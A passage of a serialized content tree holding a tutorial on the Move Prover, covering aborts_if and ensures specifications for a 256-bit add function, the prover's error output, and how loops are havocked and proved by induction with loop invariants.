aborts_if",{"type":23,"tag":139,"props":7913,"children":7914},{"style":245},[7915],{"type":28,"value":7712},{"type":23,"tag":139,"props":7917,"children":7918},{"style":259},[7919],{"type":28,"value":262},{"type":23,"tag":139,"props":7921,"children":7922},{"style":294},[7923],{"type":28,"value":64},{"type":23,"tag":139,"props":7925,"children":7926},{"style":259},[7927],{"type":28,"value":1062},{"type":23,"tag":139,"props":7929,"children":7930},{"style":982},[7931],{"type":28,"value":2382},{"type":23,"tag":139,"props":7933,"children":7934},{"style":245},[7935],{"type":28,"value":7712},{"type":23,"tag":139,"props":7937,"children":7938},{"style":259},[7939],{"type":28,"value":262},{"type":23,"tag":139,"props":7941,"children":7942},{"style":294},[7943],{"type":28,"value":1199},{"type":23,"tag":139,"props":7945,"children":7946},{"style":259},[7947],{"type":28,"value":1062},{"type":23,"tag":139,"props":7949,"children":7950},{"style":982},[7951],{"type":28,"value":7952},">=",{"type":23,"tag":139,"props":7954,"children":7955},{"style":305},[7956],{"type":28,"value":7668},{"type":23,"tag":139,"props":7958,"children":7959},{"style":982},[7960],{"type":28,"value":7825},{"type":23,"tag":139,"props":7962,"children":7963},{"style":305},[7964],{"type":28,"value":7668},{"type":23,"tag":139,"props":7966,"children":7967},{"style":982},[7968],{"type":28,"value":7825},{"type":23,"tag":139,"props":7970,"children":7971},{"style":305},[7972],{"type":28,"value":7668},{"type":23,"tag":139,"props":7974,"children":7975},{"style":982},[7976],{"type":28,"value":7825},{"type":23,"tag":139,"props":7978,"children":7979},{"style":305},[7980],{"type":28,"value":7668},{"type":23,"tag":139,"props":7982,"children":7983},{"style":259},[7984],{"type":28,"value":995},{"type":23,"tag":139,"props":7986,"children":7987},{"class":141,"line":1580},[7988],{"type":23,"tag":139,"props":7989,"children":7990},{"style":259},[7991],{"type":28,"value":1897},{"type":23,"tag":24,"props":7993,"children":7994},{},[7995,7997,8004],{"type":28,"value":7996},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":64,"props":7998,"children":8001},{"href":7999,"rel":8000},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[68],[8002],{"type":28,"value":8003},"MSL function",{"type":28,"value":8005},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":8007,"children":8008},{},[8009,8011,8016,8017,8022],{"type":28,"value":8010},"A common pattern for ",{"type":23,"tag":135,"props":8012,"children":8014},{"className":8013},[],[8015],{"type":28,"value":6329},{"type":28,"value":3504},{"type":23,"tag":135,"props":8018,"children":8020},{"className":8019},[],[8021],{"type":28,"value":6337},{"type":28,"value":8023},", which lets you prove that a function will never abort.",{"type":23,"tag":128,"props":8025,"children":8027},{"code":8026,"language":947,"meta":7,"className":948,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[8028],{"type":23,"tag":135,"props":8029,"children":8030},{"__ignoreMap":7},[8031,8047,8062],{"type":23,"tag":139,"props":8032,"children":8033},{"class":141,"line":142},[8034,8038,8043],{"type":23,"tag":139,"props":8035,"children":8036},{"style":294},[8037],{"type":28,"value":6279},{"type":23,"tag":139,"props":8039,"children":8040},{"style":294},[8041],{"type":28,"value":8042}," critical_function",{"type":23,"tag":139,"props":8044,"children":8045},{"style":259},[8046],{"type":28,"value":1268},{"type":23,"tag":139,"props":8048,"children":8049},{"class":141,"line":151},[8050,8054,8058],{"type":23,"tag":139,"props":8051,"children":8052},{"style":294},[8053],{"type":28,"value":7911},{"type":23,"tag":139,"props":8055,"children":8056},{"style":279},[8057],{"type":28,"value":7064},{"type":23,"tag":139,"props":8059,"children":8060},{"style":259},[8061],{"type":28,"value":995},{"type":23,"tag":139,"props":8063,"children":8064},{"class":141,"line":160},[8065],{"type":23,"tag":139,"props":8066,"children":8067},{"style":259},[8068],{"type":28,"value":1897},{"type":23,"tag":24,"props":8070,"children":8071},{},[8072,8074,8080],{"type":28,"value":8073},"Another type of expression that we can use is ",{"type":23,"tag":135,"props":8075,"children":8077},{"className":8076},[],[8078],{"type":28,"value":8079},"ensures",{"type":28,"value":8081},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":8083,"children":8084},{},[8085,8087,8092,8094,8099],{"type":28,"value":8086},"In the case of the ",{"type":23,"tag":135,"props":8088,"children":8090},{"className":8089},[],[8091],{"type":28,"value":7646},{"type":28,"value":8093}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":56,"props":8095,"children":8096},{},[8097],{"type":28,"value":8098},"MSL uses unbounded numbers",{"type":28,"value":8100},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":128,"props":8102,"children":8104},{"code":8103,"language":947,"meta":7,"className":948,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[8105],{"type":23,"tag":135,"props":8106,"children":8107},{"__ignoreMap":7},[8108,8123,8202,8266],{"type":23,"tag":139,"props":8109,"children":8110},{"class":141,"line":142},[8111,8115,8119],{"type":23,"tag":139,"props":8112,"children":8113},{"style":294},[8114],{"type":28,"value":6279},{"type":23,"tag":139,"props":8116,"children":8117},{"style":294},[8118],{"type":28,"value":7589},{"type":23,"tag":139,"props":8120,"children":8121},{"style":259},[8122],{"type":28,"value":1268},{"type":23,"tag":139,"props":8124,"children":8125},{"class":141,"line":151},[8126,8130,8134,8138,8142,8146,8150,8154,8158,8162,8166,8170,8174,8178,8182,8186,8190,8194,8198],{"type":23,"tag":139,"props":8127,"children":8128},{"style":294},[8129],{"type":28,"value":7911},{"type":23,"tag":139,"props":8131,"children":8132},{"style":245},[8133],{"type":28,"value":7712},{"type":23,"tag":139,"props":8135,"children":8136},{"style":259},[8137],{"type":28,"value":262},{"type":23,"tag":139,"props":8139,"children":8140},{"style":294},[8141],{"type":28,"value":64},{"type":23,"tag":139,"props":8143,"children":8144},{"style":259},[8145],{"type":28,"value":1062},{"type":23,"tag":139,"props":8147,"children":8148},{"style":982},[8149],{"type":28,"value":2382},{"type":23,"tag":139,"props":8151,"children":8152},{"style":245},[8153],{"type":28,"value":7712},{"type":23,"tag":139,"props":8155,"children":8156},{"style":259},[8157],{"type":28,"value":262},{"type":23,"tag":139,"props":8159,"children":8160},{"style":294},[8161],{"type":28,"value":1199},{"type":23,"tag":139,"props":8163,"children":8164},{"style":259},[8165],{"type":28,"value":1062},{"type":23,"tag":139,"props":8167,"children":8168},{"style":982},[8169],{"type":28,"value":7952},{"type":23,"tag":139,"props":8171,"children":8172},{"style":305},[8173],{"type":28,"value":7668},{"type":23,"tag":139,"props":8175,"children":8176},{"style":982},[8177],{"type":28,"value":7825},{"type":23,"tag":139,"props":8179,"children":8180},{"style":305},[8181],{"type":28,"value":7668},{"type":23,"tag":139,"props":8183,"children":8184},{"style":982},[8185],{"type":28,"value":7825},{"type":23,"tag":139,"props":8187,"children":8188},{"style":305},[8189],{"type":28,"value":7668},{"type":23,"tag":139,"props":8191,"children":8192},{"style":982},[8193],{"type":28,"value":7825},{"type":23,"tag":139,"props":8195,"children":8196},{"style":305},[8197],{"type":28,"value":7668},{"type":23,"tag":139,"props":8199,"children":8200},{"style":259},[8201],{"type":28,"value":995},{"type":23,"tag":139,"props":8203,"children":8204},{"class":141,"line":160},[8205,8210,8214,8218,8222,8226,8230,8234,8238,8242,8246,8250,8254,8258,8262],{"type":23,"tag":139,"props":8206,"children":8207},{"style":294},[8208],{"type":28,"value":8209},"    ensures",{"type":23,"tag":139,"props":8211,"children":8212},{"style":245},[8213],{"type":28,"value":7712},{"type":23,"tag":139,"props":8215,"children":8216},{"style":259},[8217],{"type":28,"value":262},{"type":23,"tag":139,"props":8219,"children":8220},{"style":294},[8221],{"type":28,"value":7089},{"type":23,"tag":139,"props":8223,"children":8224},{"style":259},[8225],{"type":28,"value":1062},{"type":23,"tag":139,"props":8227,"children":8228},{"style":982},[8229],{"type":28,"value":6580},{"type":23,"tag":139,"props":8231,"children":8232},{"style":245},[8233],{"type":28,"value":7712},{"type":23,"tag":139,"props":8235,"children":8236},{"style":259},[8237],{"type":28,"value":262},{"type":23,"tag":139,"props":8239,"children":8240},{"style":294},[8241],{"type":28,"value":64},{"type":23,"tag":139,"props":8243,"children":8244},{"style":259},[8245],{"type":28,"value":1062},{"type":23,"tag":139,"props":8247,"children":8248},{"style":982},[8249],{"type":28,"value":2382},{"type":23,"tag":139,"props":8251,"children":8252},{"style":245},[8253],{"type":28,"value":7712},{"type":23,"tag":139,"props":8255,"children":8256},{"style":259},[8257],{"type":28,"value":262},{"type":23,"tag":139,"props":8259,"children":8260},{"style":294},[8261],{"type":28,"value":1199},{"type":23,"tag":139,"props":8263,"children":8264},{"style":259},[8265],{"type":28,"value":1820},{"type":23,"tag":139,"props":8267,"children":8268},{"class":141,"line":169},[8269],{"type":23,"tag":139,"props":8270,"children":8271},{"style":259},[8272],{"type":28,"value":1897},{"type":23,"tag":24,"props":8274,"children":8275},{},[8276],{"type":28,"value":8277},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":8279,"children":8280},{},[8281],{"type":28,"value":8282},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":128,"props":8284,"children":8286},{"code":8285,"language":2243,"meta":7,"className":2244,"style":7},"$ move prove\n",[8287],{"type":23,"tag":135,"props":8288,"children":8289},{"__ignoreMap":7},[8290],{"type":23,"tag":139,"props":8291,"children":8292},{"class":141,"line":142},[8293,8298,8303],{"type":23,"tag":139,"props":8294,"children":8295},{"style":245},[8296],{"type":28,"value":8297},"$",{"type":23,"tag":139,"props":8299,"children":8300},{"style":265},[8301],{"type":28,"value":8302}," move",{"type":23,"tag":139,"props":8304,"children":8305},{"style":265},[8306],{"type":28,"value":8307}," prove\n",{"type":23,"tag":24,"props":8309,"children":8310},{},[8311],{"type":28,"value":8312},"It outputs the following error information:",{"type":23,"tag":128,"props":8314,"children":8316},{"code":8315,"language":2243,"meta":7,"className":2244,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[8317],{"type":23,"tag":135,"props":8318,"children":8319},{"__ignoreMap":7},[8320,8328,8335,8397,8418,8508,8576,8588,8596,8603,8610,8617,8635,8696,8713,8730,8802,8818,8826,8833,8883,8891,8908],{"type":23,"tag":139,"props":8321,"children":8322},{"class":141,"line":142},[8323],{"type":23,"tag":139,"props":8324,"children":8325},{"style":259},[8326],{"type":28,"value":8327},"[...]\n",{"type":23,"tag":139,"props":8329,"children":8330},{"class":141,"line":151},[8331],{"type":23,"tag":139,"props":8332,"children":8333},{"emptyLinePlaceholder":15},[8334],{"type":28,"value":184},{"type":23,"tag":139,"props":8336,"children":8337},{"class":141,"line":160},[8338,8343,8348,8353,8358,8363,8368,8373,8378,8383,8387,8392],{"type":23,"tag":139,"props":8339,"children":8340},{"style":245},[8341],{"type":28,"value":8342},"error:",{"type":23,"tag":139,"props":8344,"children":8345},{"style":265},[8346],{"type":28,"value":8347}," abort",{"type":23,"tag":139,"props":8349,"children":8350},{"style":265},[8351],{"type":28,"value":8352}," not",{"type":23,"tag":139,"props":8354,"children":8355},{"style":265},[8356],{"type":28,"value":8357}," covered",{"type":23,"tag":139,"props":8359,"children":8360},{"style":265},[8361],{"type":28,"value":8362}," by",{"type":23,"tag":139,"props":8364,"children":8365},{"style":265},[8366],{"type":28,"value":8367}," any",{"type":23,"tag":139,"props":8369,"children":8370},{"style":265},[8371],{"type":28,"value":8372}," of",{"type":23,"tag":139,"props":8374,"children":8375},{"style":265},[8376],{"type":28,"value":8377}," the",{"type":23,"tag":139,"props":8379,"children":8380},{"style":265},[8381],{"type":28,"value":8382}," `",{"type":23,"tag":139,"props":8384,"children":8385},{"style":245},[8386],{"type":28,"value":6329},{"type":23,"tag":139,"props":8388,"children":8389},{"style":265},[8390],{"type":28,"value":8391},"`",{"type":23,"tag":139,"props":8393,"children":8394},{"style":245},[8395],{"type":28,"value":8396}," clauses\n",{"type":23,"tag":139,"props":8398,"children":8399},{"class":141,"line":169},[8400,8405,8410,8414],{"type":23,"tag":139,"props":8401,"children":8402},{"style":245},[8403],{"type":28,"value":8404},"╭",{"type":23,"tag":139,"props":8406,"children":8407},{"style":265},[8408],{"type":28,"value":8409},"     spec",{"type":23,"tag":139,"props":8411,"children":8412},{"style":265},[8413],{"type":28,"value":7589},{"type":23,"tag":139,"props":8415,"children":8416},{"style":265},[8417],{"type":28,"value":1268},{"type":23,"tag":139,"props":8419,"children":8420},{"class":141,"line":178},[8421,8426,8431,8435,8439,8443,8447,8451,8455,8459,8463,8467,8472,8476,8480,8484,8488,8492,8496,8500,8504],{"type":23,"tag":139,"props":8422,"children":8423},{"style":982},[8424],{"type":28,"value":8425},"|",{"type":23,"tag":139,"props":8427,"children":8428},{"style":245},[8429],{"type":28,"value":8430},"         aborts_if",{"type":23,"tag":139,"props":8432,"children":8433},{"style":265},[8434],{"type":28,"value":7712},{"type":23,"tag":139,"props":8436,"children":8437},{"style":259},[8438],{"type":28,"value":262},{"type":23,"tag":139,"props":8440,"children":8441},{"style":245},[8442],{"type":28,"value":64},{"type":23,"tag":139,"props":8444,"children":8445},{"style":259},[8446],{"type":28,"value":1062},{"type":23,"tag":139,"props":8448,"children":8449},{"style":265},[8450],{"type":28,"value":2382},{"type":23,"tag":139,"props":8452,"children":8453},{"style":265},[8454],{"type":28,"value":7712},{"type":23,"tag":139,"props":8456,"children":8457},{"style":259},[8458],{"type":28,"value":262},{"type":23,"tag":139,"props":8460,"children":8461},{"style":245},[8462],{"type":28,"value":1199},{"type":23,"tag":139,"props":8464,"children":8465},{"style":259},[8466],{"type":28,"value":1062},{"type":23,"tag":139,"props":8468,"children":8469},{"style":982},[8470],{"type":28,"value":8471},">",{"type":23,"tag":139,"props":8473,"children":8474},{"style":265},[8475],{"type":28,"value":1067},{"type":23,"tag":139,"props":8477,"children":8478},{"style":265},[8479],{"type":28,"value":7668},{"type":23,"tag":139,"props":8481,"children":8482},{"style":279},[8483],{"type":28,"value":7825},{"type":23,"tag":139,"props":8485,"children":8486},{"style":265},[8487],{"type":28,"value":7668},{"type":23,"tag":139,"props":8489,"children":8490},{"style":279},[8491],{"type":28,"value":7825},{"type":23,"tag":139,"props":8493,"children":8494},{"style":265},[8495],{"type":28,"value":7668},{"type":23,"tag":139,"props":8497,"children":8498},{"style":279},[8499],{"type":28,"value":7825},{"type":23,"tag":139,"props":8501,"children":8502},{"style":265},[8503],{"type":28,"value":7668},{"type":23,"tag":139,"props":8505,"children":8506},{"style":259},[8507],{"type":28,"value":995},{"type":23,"tag":139,"props":8509,"children":8510},{"class":141,"line":187},[8511,8515,8520,8524,8528,8532,8536,8540,8544,8548,8552,8556,8560,8564,8568,8572],{"type":23,"tag":139,"props":8512,"children":8513},{"style":982},[8514],{"type":28,"value":8425},{"type":23,"tag":139,"props":8516,"children":8517},{"style":245},[8518],{"type":28,"value":8519},"         ensures",{"type":23,"tag":139,"props":8521,"children":8522},{"style":265},[8523],{"type":28,"value":7712},{"type":23,"tag":139,"props":8525,"children":8526},{"style":259},[8527],{"type":28,"value":262},{"type":23,"tag":139,"props":8529,"children":8530},{"style":245},[8531],{"type":28,"value":7089},{"type":23,"tag":139,"props":8533,"children":8534},{"style":259},[8535],{"type":28,"value":1062},{"type":23,"tag":139,"props":8537,"children":8538},{"style":265},[8539],{"type":28,"value":6580},{"type":23,"tag":139,"props":8541,"children":8542},{"style":265},[8543],{"type":28,"value":7712},{"type":23,"tag":139,"props":8545,"children":8546},{"style":259},[8547],{"type":28,"value":262},{"type":23,"tag":139,"props":8549,"children":8550},{"style":245},[8551],{"type":28,"value":64},{"type":23,"tag":139,"props":8553,"children":8554},{"style":259},[8555],{"type":28,"value":1062},{"type":23,"tag":139,"props":8557,"children":8558},{"style":265},[8559],{"type":28,"value":2382},{"type":23,"tag":139,"props":8561,"children":8562},{"style":265},[8563],{"type":28,"value":7712},{"type":23,"tag":139,"props":8565,"children":8566},{"style":259},[8567],{"type":28,"value":262},{"type":23,"tag":139,"props":8569,"children":8570},{"style":245},[8571],{"type":28,"value":1199},{"type":23,"tag":139,"props":8573,"children":8574},{"style":259},[8575],{"type":28,"value":1820},{"type":23,"tag":139,"props":8577,"children":8578},{"class":141,"line":196},[8579,8583],{"type":23,"tag":139,"props":8580,"children":8581},{"style":982},[8582],{"type":28,"value":8425},{"type":23,"tag":139,"props":8584,"children":8585},{"style":259},[8586],{"type":28,"value":8587},"     }\n",{"type":23,"tag":139,"props":8589,"children":8590},{"class":141,"line":205},[8591],{"type":23,"tag":139,"props":8592,"children":8593},{"style":245},[8594],{"type":28,"value":8595},"╰─────^\n",{"type":23,"tag":139,"props":8597,"children":8598},{"class":141,"line":214},[8599],{"type":23,"tag":139,"props":8600,"children":8601},{"emptyLinePlaceholder":15},[8602],{"type":28,"value":184},{"type":23,"tag":139,"props":8604,"children":8605},{"class":141,"line":1320},[8606],{"type":23,"tag":139,"props":8607,"children":8608},{"style":259},[8609],{"type":28,"value":8327},{"type":23,"tag":139,"props":8611,"children":8612},{"class":141,"line":1329},[8613],{"type":23,"tag":139,"props":8614,"children":8615},{"emptyLinePlaceholder":15},[8616],{"type":28,"value":184},{"type":23,"tag":139,"props":8618,"children":8619},{"class":141,"line":1580},[8620,8625,8630],{"type":23,"tag":139,"props":8621,"children":8622},{"style":245},[8623],{"type":28,"value":8624}," at",{"type":23,"tag":139,"props":8626,"children":8627},{"style":265},[8628],{"type":28,"value":8629}," ./sources/u256.move:316:",{"type":23,"tag":139,"props":8631,"children":8632},{"style":265},[8633],{"type":28,"value":8634}," add\n",{"type":23,"tag":139,"props":8636,"children":8637},{"class":141,"line":1597},[8638,8643,8648,8653,8657,8662,8666,8671,8676,8681,8686,8691],{"type":23,"tag":139,"props":8639,"children":8640},{"style":245},[8641],{"type":28,"value":8642}," enter",{"type":23,"tag":139,"props":8644,"children":8645},{"style":265},[8646],{"type":28,"value":8647}," loop,",{"type":23,"tag":139,"props":8649,"children":8650},{"style":265},[8651],{"type":28,"value":8652}," variable",{"type":23,"tag":139,"props":8654,"children":8655},{"style":259},[8656],{"type":28,"value":262},{"type":23,"tag":139,"props":8658,"children":8659},{"style":245},[8660],{"type":28,"value":8661},"s",{"type":23,"tag":139,"props":8663,"children":8664},{"style":259},[8665],{"type":28,"value":1062},{"type":23,"tag":139,"props":8667,"children":8668},{"style":265},[8669],{"type":28,"value":8670},"carry,",{"type":23,"tag":139,"props":8672,"children":8673},{"style":265},[8674],{"type":28,"value":8675}," i,",{"type":23,"tag":139,"props":8677,"children":8678},{"style":265},[8679],{"type":28,"value":8680}," ret",{"type":23,"tag":139,"props":8682,"children":8683},{"style":265},[8684],{"type":28,"value":8685}," havocked",{"type":23,"tag":139,"props":8687,"children":8688},{"style":265},[8689],{"type":28,"value":8690}," and",{"type":23,"tag":139,"props":8692,"children":8693},{"style":265},[8694],{"type":28,"value":8695}," reassigned\n",{"type":23,"tag":139,"props":8697,"children":8698},{"class":141,"line":1614},[8699,8704,8708],{"type":23,"tag":139,"props":8700,"children":8701},{"style":245},[8702],{"type":28,"value":8703},"     carry",{"type":23,"tag":139,"props":8705,"children":8706},{"style":265},[8707],{"type":28,"value":985},{"type":23,"tag":139,"props":8709,"children":8710},{"style":1016},[8711],{"type":28,"value":8712}," 54\n",{"type":23,"tag":139,"props":8714,"children":8715},{"class":141,"line":1627},[8716,8721,8725],{"type":23,"tag":139,"props":8717,"children":8718},{"style":245},[8719],{"type":28,"value":8720},"     i",{"type":23,"tag":139,"props":8722,"children":8723},{"style":265},[8724],{"type":28,"value":985},{"type":23,"tag":139,"props":8726,"children":8727},{"style":1016},[8728],{"type":28,"value":8729}," 3792\n",{"type":23,"tag":139,"props":8731,"children":8732},{"class":141,"line":1636},[8733,8738,8742,8747,8751,8756,8761,8765,8770,8775,8779,8784,8789,8793,8798],{"type":23,"tag":139,"props":8734,"children":8735},{"style":245},[8736],{"type":28,"value":8737},"     ret",{"type":23,"tag":139,"props":8739,"children":8740},{"style":265},[8741],{"type":28,"value":985},{"type":23,"tag":139,"props":8743,"children":8744},{"style":265},[8745],{"type":28,"value":8746}," u256.U256{v0",{"type":23,"tag":139,"props":8748,"children":8749},{"style":265},[8750],{"type":28,"value":985},{"type":23,"tag":139,"props":8752,"children":8753},{"style":265},[8754],{"type":28,"value":8755}," 26418,",{"type":23,"tag":139,"props":8757,"children":8758},{"style":265},[8759],{"type":28,"value":8760}," v1",{"type":23,"tag":139,"props":8762,"children":8763},{"style":265},[8764],{"type":28,"value":985},{"type":23,"tag":139,"props":8766,"children":8767},{"style":265},[8768],{"type":28,"value":8769}," 27938,",{"type":23,"tag":139,"props":8771,"children":8772},{"style":265},[8773],{"type":28,"value":8774}," v2",{"type":23,"tag":139,"props":8776,"children":8777},{"style":265},[8778],{"type":28,"value":985},{"type":23,"tag":139,"props":8780,"children":8781},{"style":265},[8782],{"type":28,"value":8783}," 6900,",{"type":23,"tag":139,"props":8785,"children":8786},{"style":265},[8787],{"type":28,"value":8788}," v3",{"type":23,"tag":139,"props":8790,"children":8791},{"style":265},[8792],{"type":28,"value":985},{"type":23,"tag":139,"props":8794,"children":8795},{"style":1016},[8796],{"type":28,"value":8797}," 1999",{"type":23,"tag":139,"props":8799,"children":8800},{"style":265},[8801],{"type":28,"value":1897},{"type":23,"tag":139,"props":8803,"children":8804},{"class":141,"line":1659},[8805,8809,8814],{"type":23,"tag":139,"props":8806,"children":8807},{"style":245},[8808],{"type":28,"value":8624},{"type":23,"tag":139,"props":8810,"children":8811},{"style":265},[8812],{"type":28,"value":8813}," ./sources/u256.move:346:",{"type":23,"tag":139,"props":8815,"children":8816},{"style":265},[8817],{"type":28,"value":8634},{"type":23,"tag":139,"props":8819,"children":8820},{"class":141,"line":1667},[8821],{"type":23,"tag":139,"props":8822,"children":8823},{"style":245},[8824],{"type":28,"value":8825},"     ABORTED\n",{"type":23,"tag":139,"props":8827,"children":8828},{"class":141,"line":1676},[8829],{"type":23,"tag":139,"props":8830,"children":8831},{"emptyLinePlaceholder":15},[8832],{"type":28,"value":184},{"type":23,"tag":139,"props":8834,"children":8835},{"class":141,"line":1745},[8836,8841,8846,8850,8855,8860,8865,8869,8874,8878],{"type":23,"tag":139,"props":8837,"children":8838},{"style":245},[8839],{"type":28,"value":8840},"FAILURE",{"type":23,"tag":139,"props":8842,"children":8843},{"style":265},[8844],{"type":28,"value":8845}," proving",{"type":23,"tag":139,"props":8847,"children":8848},{"style":1016},[8849],{"type":28,"value":2525},{"type":23,"tag":139,"props":8851,"children":8852},{"style":265},[8853],{"type":28,"value":8854}," modules",{"type":23,"tag":139,"props":8856,"children":8857},{"style":265},[8858],{"type":28,"value":8859}," from",{"type":23,"tag":139,"props":8861,"children":8862},{"style":265},[8863],{"type":28,"value":8864}," package",{"type":23,"tag":139,"props":8866,"children":8867},{"style":265},[8868],{"type":28,"value":8382},{"type":23,"tag":139,"props":8870,"children":8871},{"style":245},[8872],{"type":28,"value":8873},"u256",{"type":23,"tag":139,"props":8875,"children":8876},{"style":265},[8877],{"type":28,"value":8391},{"type":23,"tag":139,"props":8879,"children":8880},{"style":259},[8881],{"type":28,"value":8882}," in 9.143s\n",{"type":23,"tag":139,"props":8884,"children":8885},{"class":141,"line":1753},[8886],{"type":23,"tag":139,"props":8887,"children":8888},{"style":259},[8889],{"type":28,"value":8890},"{\n",{"type":23,"tag":139,"props":8892,"children":8893},{"class":141,"line":1783},[8894,8899,8903],{"type":23,"tag":139,"props":8895,"children":8896},{"style":245},[8897],{"type":28,"value":8898},"    \"Error\"",{"type":23,"tag":139,"props":8900,"children":8901},{"style":245},[8902],{"type":28,"value":2493},{"type":23,"tag":139,"props":8904,"children":8905},{"style":265},[8906],{"type":28,"value":8907}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":139,"props":8909,"children":8910},{"class":141,"line":1791},[8911],{"type":23,"tag":139,"props":8912,"children":8913},{"style":259},[8914],{"type":28,"value":1897},{"type":23,"tag":24,"props":8916,"children":8917},{},[8918,8920,8925],{"type":28,"value":8919},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":135,"props":8921,"children":8923},{"className":8922},[],[8924],{"type":28,"value":6329},{"type":28,"value":8926}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":8928,"children":8929},{},[8930,8932,8938],{"type":28,"value":8931},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":135,"props":8933,"children":8935},{"className":8934},[],[8936],{"type":28,"value":8937},"ret havocked and reassigned",{"type":28,"value":73},{"type":23,"tag":24,"props":8940,"children":8941},{},[8942],{"type":28,"value":8943},"What does this mean?",{"type":23,"tag":24,"props":8945,"children":8946},{},[8947,8949,8956],{"type":28,"value":8948},"By diving into the Move Prover source, we find a ",{"type":23,"tag":64,"props":8950,"children":8953},{"href":8951,"rel":8952},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[68],[8954],{"type":28,"value":8955},"likely suspect",{"type":28,"value":8957},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":8959,"children":8960},{},[8961],{"type":28,"value":8962},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":797,"props":8964,"children":8965},{},[8966,8971],{"type":23,"tag":801,"props":8967,"children":8968},{},[8969],{"type":28,"value":8970},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":801,"props":8972,"children":8973},{},[8974],{"type":28,"value":8975},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":8977,"children":8978},{},[8979,8981,8986,8988,8994,8995,9001,9003,9008,9010,9015],{"type":28,"value":8980},"The loop prover will also ",{"type":23,"tag":56,"props":8982,"children":8983},{},[8984],{"type":28,"value":8985},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":8987},". Going back to the log message, this implies that the variables ",{"type":23,"tag":135,"props":8989,"children":8991},{"className":8990},[],[8992],{"type":28,"value":8993},"carry",{"type":28,"value":1052},{"type":23,"tag":135,"props":8996,"children":8998},{"className":8997},[],[8999],{"type":28,"value":9000},"ret",{"type":28,"value":9002}," and ",{"type":23,"tag":135,"props":9004,"children":9006},{"className":9005},[],[9007],{"type":28,"value":1728},{"type":28,"value":9009}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":135,"props":9011,"children":9013},{"className":9012},[],[9014],{"type":28,"value":7646},{"type":28,"value":9016}," makes no sense.",{"type":23,"tag":24,"props":9018,"children":9019},{},[9020],{"type":28,"value":9021},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":797,"props":9023,"children":9024},{},[9025,9030,9035,9040,9045,9050],{"type":23,"tag":801,"props":9026,"children":9027},{},[9028],{"type":28,"value":9029},"Assert the loop invariant",{"type":23,"tag":801,"props":9031,"children":9032},{},[9033],{"type":28,"value":9034},"Havoc all modified variables",{"type":23,"tag":801,"props":9036,"children":9037},{},[9038],{"type":28,"value":9039},"Assume the loop invariant",{"type":23,"tag":801,"props":9041,"children":9042},{},[9043],{"type":28,"value":9044},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":801,"props":9046,"children":9047},{},[9048],{"type":28,"value":9049},"Run the loop body",{"type":23,"tag":801,"props":9051,"children":9052},{},[9053],{"type":28,"value":9029},{"type":23,"tag":24,"props":9055,"children":9056},{},[9057],{"type":28,"value":9058},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":9060,"children":9061},{},[9062],{"type":28,"value":9063},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":9065,"children":9066},{},[9067,9069,9076],{"type":28,"value":9068},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":64,"props":9070,"children":9073},{"href":9071,"rel":9072},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[68],[9074],{"type":28,"value":9075},"previous post",{"type":28,"value":73},{"type":23,"tag":128,"props":9078,"children":9080},{"code":9079,"language":947,"meta":7,"className":948,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[9081],{"type":23,"tag":135,"props":9082,"children":9083},{"__ignoreMap":7},[9084,9096,9107,9143,9166,9249,9256,9280,9288,9308,9328,9419,9426,9454],{"type":23,"tag":139,"props":9085,"children":9086},{"class":141,"line":142},[9087,9092],{"type":23,"tag":139,"props":9088,"children":9089},{"style":319},[9090],{"type":28,"value":9091},"  